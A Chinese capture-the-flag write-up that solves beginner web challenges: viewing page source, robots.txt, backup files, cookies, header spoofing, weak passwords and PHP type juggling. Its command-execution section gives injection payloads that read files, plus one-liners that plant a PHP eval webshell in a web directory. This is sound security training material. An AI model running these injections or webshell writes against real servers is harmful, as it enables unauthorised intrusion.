第一题view_source

f12查看源码

第二题get_post

1按照提示先get一个a=1,在post一个b=2,就行

第三题robots

robots协议是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。

也就是说通常网站下会有个robots.txt,它会告诉爬虫什么能访问什么不能访问,不能访问是指不希望被爬虫抓取到的内容(通常有重要信息),但是我们可以访问

这里直接在地址后接robots,



然后访问flag。。。

第四题Backup

index.php的备份文件名通常是index.php.bak

.bak通常是编辑这个文件时,自动生成的备份文件;

可以用于紧急恢复

如果编辑后没有什么问题;

可以删除.BAK文件

通常命名为xxx.bak

这里直接访问index.php.bak.

第五题cookie

Cookie(复数形态Cookies),又称为“小甜饼”。类型为“小型文本文件”,指某些网站为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)。

Cookie 是浏览器访问服务器后,服务器传给浏览器的一段数据。

浏览器需要保存这段数据,不得轻易删除。

此后每次浏览器访问该服务器,都必须带上这段数据。

Cookie 就是这么简单,这就是 Web 开发里 Cookie 的含义。

Cookie一般有两个用处:

1.识别用户的身份

2.记录历史信息

用一个例子说明:

假设我们去一个公园,需要购买门票,这个门票的有效期为1一天,也就是在这一天内我们可以凭着这张票随意的进出公园。也就是说可以把每一次进入公园当作是一次http请求,这个票就相当于我们设置的Cookie,正是有了这个票(Cookie),我们可以顺利的进入这个公园(访问网站)。同理Cookie可以设置存活的时间等信息。如:

Session和Cookie的应用场景

 (1)登录网站,今输入用户名密码登录了,第二天再打开很多情况下就直接打开了。这个时候用到的一个机制就是cookie。

 (2)session一个场景是购物车,添加了商品之后客户端处可以知道添加了哪些商品,而服务器端如何判别呢,所以也需要存储一些信息就用到了session。

对cookie和session的理解

https://blog.csdn.net/qq_41802128/article/details/82151490

访问网址,抓包看cookie,

访问cookie.php再抓包,放包response(响应)

第六题disabled_button

这里主要是考查前端代码

disabled 属性规定应该禁用 input 元素。

被禁用的 input 元素既不可用,也不可点击



这里我们直接将它删除

然后就可以点击了

第七题simple_js

提交几次无果后发现



人造密码哈哈?

在想到之前查看的源码(这题关键是将源码看懂)

<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));//虽然前面定义o用到了tab,但是实际都是用tab2这个变量,即最后的结果与我们输入的值无关
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));//
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password');
alert( dechiffre(h) );

从源码中可以看到无论我们输入什么最终返回的值都是FAUX PASSWORD HAHA(里面用到的一些函数在下面)

这里最可疑

String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30(这是十六进制的ascii码)

于是可以先16进制转文本(就是十进制了),在十进制转ascll对应的字符(字符)

55,56,54,79,115,69,114,116,107,49,50(相当于函数所需的unicode值)

7,8,6,O,s,E,r,t,k,1,2

十进制转ascll对应的字符(字符)

就相当于String[“fromCharCode”](55,56,54,79,115,69,114,116,107,49,50)

结果为786OsErtk12

http://www.ab126.com/goju/1711.html在线十进制转ascll字符

alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。

prompt()方法用于显示可提示用户进行输入的对话框,这个方法返回用户输入的字符串。

String方法之fromCharCode()

fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串(unicode编码的字符)。

第八题xff_referer

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理

innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。

进去后要求IP地址必须为123.123.123.123,使用burpsuite伪造XFF:X-Forwarded-For:123.123.123.123(这里先将原来的refer删除)

go之后又要求innerHTML=“必须来自https://www.google.com”,再伪造(添加)Referer:Referer:https://www.google.com

第九题weak_auth

弱密码

提示用户名为admin

这里正常应该是要用bp爆破(也可直接猜)

密码123456

第十题webshell

直接用蚁剑连上就能看到flag.php

第十一题command_execution

Window/Linux可利用的特殊字符:

windows支持:

| 直接执行后面的语句 ping 127.0.0.1|whoami

|| 前面出错执行后面的 ,前面为假 ping 2 || whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux支持:

; 前面的执行完执行后面的 ping 127.0.0.1;whoami

| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami

11 当前面的执行出错时执行后面的 ping 1||whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

额外知识 写入webshell:

利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); ?>,方法如下:

WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字

linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:

echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字

这里先随便ping

发现可以命令执行

接者127.0.0.1 | find / -name flag.txt(找寻根目录下所有flag.txt文件)



然后

127.0.0.1 | cat /home/flag.txt

推荐文章https://www.cnblogs.com/xiaozi/p/7831529.html

第十二题simple_php

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>

php弱类型

php中有两种比较的符号 == 与 ===

== 在进行比较的时候,会先将字符串类型转化成相同,再比较

如果一个数值和字符串进行比较的时候,会将字符串转换成数值

=== 在进行比较的时候,会先判断两种字符串的类型是否相等(不相等直接返回false),再比较

<?php
2 var_dump("admin"==0); //true
3 var_dump("1admin"== 1); //true
4 var_dump("admin1"== 1) //false
5 var_dump("admin1" == 0) //true
6 var_dump("0e123456" =="0e4456789"); //true
7 ?>

“admin”== 0 比较的时候,会将admin转化成数值,字符串通常会被转化为0

0e123456"==“0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

这里"1admin”==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是说admin1被转化为了0



is_numeric() 函数用于检测变量是否为数字或数字字符串。

如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。

只要其中有一个不是就返回false

<?php
$var_name1=678;
$var_name2="a678";
$var_name3="678";
$var_name4="runoob.com";
$var_name5=698.99;
$var_name6=array("a1","a2");
$var_name7=+125689.66;
if (is_numeric($var_name1))
{
echo "$var_name1 是数字" . PHP_EOL;
}
else
{
echo "$var_name1 不是数字" . PHP_EOL ;
}
if (is_numeric($var_name2))
{
echo "$var_name2 是数字" . PHP_EOL ;
}
else
{
echo "$var_name2 不是数字" . PHP_EOL ;
} $result=is_numeric($var_name3);
echo "[ $var_name3 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name4);
echo "[ $var_name4 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name5);
echo "[ $var_name5 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name6);
echo "[ $var_name6 是数字吗? ]" .var_dump($result) . PHP_EOL;
$result=is_numeric($var_name7);
echo "[ $var_name7 是数字吗? ]" .var_dump($result);
?> 输出结果为: 678 是数字
a678 不是数字
bool(true)
[ 678 是数字吗? ]
bool(false)
[ runoob.com 是数字吗? ]
bool(true)
[ 698.99 是数字吗? ]
bool(false)
[ Array 是数字吗? ]
bool(true)
[ 125689.66 是数字吗? ]

所以可以a=a,and前为真,同时因为a的ASCII码>0(0a,0b等等都行),则后面的$a也为真

这样第一个if为真,拿到一半flag

然后就b=12345a

攻防世界web新手区的更多相关文章

  1. 攻防世界web新手区做题记录

    学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...

  2. 攻防世界web新手区(3)

    xff_referer:http://111.198.29.45:43071 打开网址,显示出这个页面: X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP, ...

  3. CTF -攻防世界-web新手区

    直接f12出来 先用get后加/?a=1 然后火狐装hackbar(老版本)f12 post b=2 搞定 Hackbar:https://github.com/Mr-xn/hackbar2.1.3 ...

  4. 2019攻防世界web新手区

    robots 看了题目描述,发现与robots协议有关,过完去百度robots协议.发现了robots.txt,然后去构造url访问这个文件 http://111.198.29.45:42287/ro ...

  5. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  6. CTF -攻防世界-web高手区-ics-06

    打开网址 根据题意点开报表中心(因为其他的点开都一样,不信你试试) 会看见id =1 想到burp爆破id 所以打开burp抓包(不会抓包的百度 或者看我web新手区,有一题就有抓包 我说的很详细) ...

  7. 攻防世界——web新手练习区解题记录<1>(1-4题)

    web新手练习区一至四题 第一题view_source: 题目说右键不管用了,我们先获取在线场景来看一看,我们看到这样一个网页,并且右键确实点了没什么反应,而用到右键一般就是查看网页源码 用快捷键(F ...

  8. CTF -攻防世界-crypto新手区(5~11)

    easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间  明明没算错 ...

  9. 攻防世界Web新手解析

    攻防世界入门的题目 view source 禁用右键,F12审查元素 get post hackbar进行post robots 直接访问robots.txt,发现f1ag_1s_h3re.ph文件, ...

随机推荐

  1. MAC使用nginx分发80至8080端口

    由于项目必须要启动80端口,但是mac系统中非root用户无法直接使用1024以下的端口 2.释放apache的80端口 由于Mac OS是自带Apache服务的,它本身占用了80端口,首先你需要将A ...

  2. Random Forest And Extra Trees

    随机森林 我们对使用决策树随机取样的集成学习有个形象的名字–随机森林. scikit-learn 中封装的随机森林,在决策树的节点划分上,在随机的特征子集上寻找最优划分特征. import numpy ...

  3. ES6学习笔记之变量的解构赋值

    变量的解构赋值 ES6允许按照一定模式,从数组和对象中提取值,对变量进行赋值,这被称为解构. 数组的解构赋值 以前,为变量赋值,只能直接指定值: 1 2 3 var a = 1; var b = 2; ...

  4. 网络编程之C10K

    网络编程之C10K 虽然在过去的十几年里C10K问题已经可以很好的解决,但学习网络编程时研究C10K问题仍然价值巨大,因为技术的发展都是有规律和线索可循的,了解C10K问题及其解决思路,通过举一反三, ...

  5. C++走向远洋——24(项目一,三角形,复制构造函数)

    */ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:sanjiaoxing.cpp * 作者:常轩 * 微信公众号: ...

  6. RTL8812AU双频无线网卡在ubuntu19和20上的驱动安装

    旧爱已去 疫情在家,突然邻居敲门说,我这网上不了,帮下忙呗兄弟:兄弟都叫了,哥就冒回险,口罩扎起,一顿xxxx,原来是路由器没插到wlan口,看他拉网线可怜,就把我台式机上无线网卡送给他了,这就是又送 ...

  7. 【Mood】八上期末考

    Final exam  Day -30 平姐在班会上突然就说了一句,离期末考只有一个月了. 刚从体育节的气氛中脱离出来的我想了想,好像还真的是诶. 又努力地去想了想,好像不太慌张呢. Final ex ...

  8. ubuntu 18.04 添加快快捷方式

    1. 创建启动软件的快捷方式的文件 # cd ~/桌面 # vim pycharm18.1.desktop # 注意文件的后缀是 .desktop [Desktop Entry] Version=1. ...

  9. LeetCode---二叉树3-总结例题

    二叉树-总结例题 1-从中序与后序遍历序列构造二叉树 给定二叉树的后序遍历和二叉树的中序遍历 想法: 先根据后序遍历的最后一个元素构造根节点 寻找根节点在中序遍历中的位置 递归构建根节点的左右子树 / ...

  10. 彻底理解使用JavaScript 将Json数据导出CSV文件

    前言 将数据报表导出,是web数据报告展示常用的附带功能.通常这种功能都是用后端开发人员编写的.今天我们主要讲的是直接通过前端js将数据导出Excel的CSV格式的文件. 原理 首先在本地用Excel ...